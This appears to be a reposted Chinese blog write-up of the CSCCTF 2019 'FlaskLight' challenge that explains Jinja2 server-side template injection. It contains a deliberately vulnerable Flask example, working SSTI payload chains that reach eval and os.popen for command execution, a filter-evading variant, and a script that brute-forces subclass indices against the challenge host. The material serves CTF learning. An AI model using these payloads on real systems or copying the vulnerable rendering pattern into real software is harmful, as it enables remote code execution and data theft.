一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI
目錄
SSTI
無二次渲染的示例
存在二次渲染的示例
漏洞復現
[CSCCTF 2019 Qual]FlaskLight
做這道題的時候,再次深入了解了一下SSTI,不過發現去講解這題原理的文章實在是太少了,額也有可能是大佬覺得沒有必要講,不過在這里還是記錄一下自己的一些解題思路,一方面也是防止自己忘記。文章會以簡單容易理解的方式去理解SSTI的成因,不會設計一些復雜的問題但是還是需要擁有一些python的基礎知識的,如有錯誤,歡迎指正
SSTI
服務器端模板注入(Server-Side Template Injection)
漏洞的主要產生點就是網頁模板中的變量被二次渲染時造成的漏洞,服務端接收了用戶的惡意輸入后,在進行目標編譯渲染的過程中,執行了用戶插入的可以破壞模板的語句,如信息泄露,命令執行,獲取權限等等
JinJia模板引擎特點
-
{{ ... }}:裝載一個變量,模板渲染時,會使用傳進來的通命名參數將代表的值替換
-
{% ... %}:裝載一個控制語句
-
{# ... #}:裝載一個注釋,模板渲染的時候會忽視這個值
無二次渲染的示例:
# 無二次渲染 from flask import *app = Flask(__name__)@app.route('/') def index():str = request.args.get('s')html = '<h1>welcome</h1></br></p>{{str}}</p>'return render_template_string(html, str=str)if __name__ == '__main__':app.run()以上代碼中見到的@app.route(’/’),相當于一個路徑,設置后,在url后面加上/user就可以訪問了,
每一個route后面都必須由一個def函數存在
在pycharm中右擊運行
右擊運行,以get方式傳入參數s,s的值為{{2*2}}
訪問pycharm開啟的URL,如下圖,{{2*2}}被打印,代碼沒有被執行
存在二次渲染的示例:
# 有二次渲染 from flask import *app = Flask(__name__) @app.route('/') def index():str = request.args.get('s')html = '<h1>welcome</h1></br></p>%s</p>'%(str)return render_template_string(html)if __name__ == '__main__':app.run()右擊運行,用get方式傳入s的值,{{2*2}}代碼被執行,2如下圖,乘以2的結果為4
例如:{{}}在Jinja2中作為變量包裹標識符,在渲染的時候會把{{}}包裹的內容當做變量解析替換,
比如{{2*2}}會被解析成4
如果在某個頁面中找到了如上所示的SSTI漏洞,那么我們可以利用這個注入點,通過s傳參,執行
模板引擎的控制語句以及命令
基本思路:利用python中的魔術方法找到所需的函數
當然凡是使用模板的地方都可能會出現SSTI 的問題,SSTI 不屬于任何一種語言
漏洞復現
''.__class__''的類型是str類型,調用__class__,指向變量所屬的類,格式為"變量.__class__"
''.__class__.__mro__由于''為str類型,通過str尋找當前類對象的所有繼承類,當然__mro__不是唯一的方法,如__base__同樣也可以尋找,但是只能找上一層的父類,如果被找的類型不止一個父類的話,就得通過很多個base去找?
''.__class__.__mro__[1].__subclasses__()?__class__.__mro__以元組形式返還了兩個關系,<class 'str'>和<class 'object'>,我們通過索引獲取后面的object,再通過__subclasses__找到object對象下的所有子類,當然同樣可以通過__class__.__base__.__subclasses__()尋找
這里我利用的是os模塊,也就是subclasses()的第133個索引位,如下圖
''.__class__.__mro__[1].__subclasses__()[133]通過索引獲取<class 'os._wrap_close'>
''.__class__.__mro__[1].__subclasses__()[133].__init__通過__init__初始化類,查看是否有重載,出現wrapper說明已經被重載了?
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__通過__globals__尋找所有的方法及變量及參數?
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']以上找出了很多的全局變量,以字典的形式輸出,這里用'__builtion__'做演示?
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']以上全局變量包含eval,利用eval再通過popen執行命令,如果使用system之類的函數,可能照成不會回顯,所以用popen是首選?
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ipconfig').read()")命令執行ipconfig
簡單來說,和SQL注入很像,循環漸進,找到庫名,找表名,找到表名找字段等等,SSTI先找到父類,然后找父類下的子類,初始化后看看是否重載,再通過全局變量找到特定函數進行執行命令?
[CSCCTF 2019 Qual]FlaskLight
這道題的漏洞點非常明顯,一個是通過題目其實可以猜到這是一道SSTI的題型了,源碼也給出了
提示,通過get類型,以search傳值
既然目標明確了,那么首先調用class
/?search={{''.__class__}}通過str尋找當前類對象的所有繼承類
/?search={{''.__class__.__mro__}}以元組形式返還了三個關系,<type 'str'>, <type 'basestring'>和 <type 'object'>,通過索引獲取后
面的object,再通過subclasses找到object對象下的所有子類 ?
/?search={{''.__class__.__mro__[2].__subclasses__()}}那么問題來了,眼前有這么多的子類,如何知道哪一個可以被我們利用并且成功命令執行呢,在第
一個例子里,我們通過globals全局變量獲取了builtins,利用eval成功命令執行,那么是否可以編寫
一個腳本批量尋找builtins,利用返回的狀態碼判斷哪個子類可以被我們使用 ?
import requestsurl = 'http://c77cb43a-a5f0-44dd-bc75-7e531b6a69e5.node4.buuoj.cn:81' for i in range(1, 100):payload = "/?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"newurl = url + payloadres = requests.get(url=newurl + payload)if 'builtins' in res.text:print(newurl)else:pass執行結果如下:
那么,payload就顯而易見了,利用builtins的eval執行任意命令
/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}查看flag,一開始我還以為flag在app.py文件里,以為flag形式改了,真的無語
/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}總結
以上是生活随笔為你收集整理的一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: liferay调度器-定时任务
- 下一篇: RosettaStone在win10运行